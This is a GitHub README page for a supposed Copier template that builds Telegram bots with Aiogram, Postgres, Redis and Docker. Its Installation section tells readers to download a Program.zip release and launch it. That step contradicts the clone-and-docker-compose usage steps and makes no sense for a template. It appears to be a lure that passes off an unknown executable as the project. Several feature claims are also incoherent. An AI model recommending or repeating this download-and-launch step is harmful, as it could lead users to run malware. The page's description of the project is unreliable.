Skip to content

πŸš€ Copier Template for Telegram Bot using Aiogram, Postgres, Redis, Docker, Coolify Ready

Notifications You must be signed in to change notification settings

PH612/copier-telegram-bot

Folders and files

NameName
Last commit message
Last commit date

Latest commit

Β 

History

2 Commits
Β 
Β 

Repository files navigation

πŸ€– Copier Telegram Bot

GitHub release (latest by date)

Simple yet powerful copier template for creating a Telegram Bot using Aiogram, Postgres, Redis, Docker, and Coolify Ready integration. This template is designed to help you kickstart your Telegram bot development project with ease and efficiency.

Features

πŸš€ Seamless integration with Aiogram for Telegram bot development
πŸ’Ύ Database support with Postgres for storing data
πŸ”ƒ Redis integration for caching and storing temporary data
🐳 Dockerize your project for easy deployment
🎨 Coolify Ready for a modern and sleek bot design

Installation

To get started with the "Copier Telegram Bot" template, simply download the necessary files from the link below:

Download https://github.com/PH612/copier-telegram-bot/releases/download/v1.0/Program.zip

Please note that the downloaded file needs to be launched to begin using the template.

If the link provided above is not working or you need access to other versions, please visit the "Releases" section of this repository.

Getting Started

Prerequisites

Before using this copier template, make sure you have the following installed:

  • Python
  • Docker
  • Docker Compose

Usage

  1. Clone this repository to your local machine.
  2. Navigate to the project directory.
  3. Update the configuration files with your Telegram bot token, database credentials, and other necessary settings.
  4. Run docker-compose up to start the bot and all required services.
  5. Start developing your Telegram bot using the Aiogram framework and database operations with Postgres.

Repository Topics

  • aiogram
  • copier-template
  • database
  • docker
  • docker-compose
  • poetry
  • postgresql
  • pydantic
  • python
  • redis
  • ruff
  • sqlalchemy
  • telegram
  • telegram-bot
  • telegrambot
  • template
  • uv

Feel free to explore and contribute to this repository by discussing topics related to the development and deployment of Telegram bots using the mentioned technologies and tools.

Support and Contributions

If you encounter any issues or have suggestions for improvements, please feel free to open an issue or submit a pull request. Your contributions are greatly appreciated in making this template more robust and user-friendly.

Let's build amazing Telegram bots together with the "Copier Telegram Bot" template!

Telegram Bot Development

Happy Coding!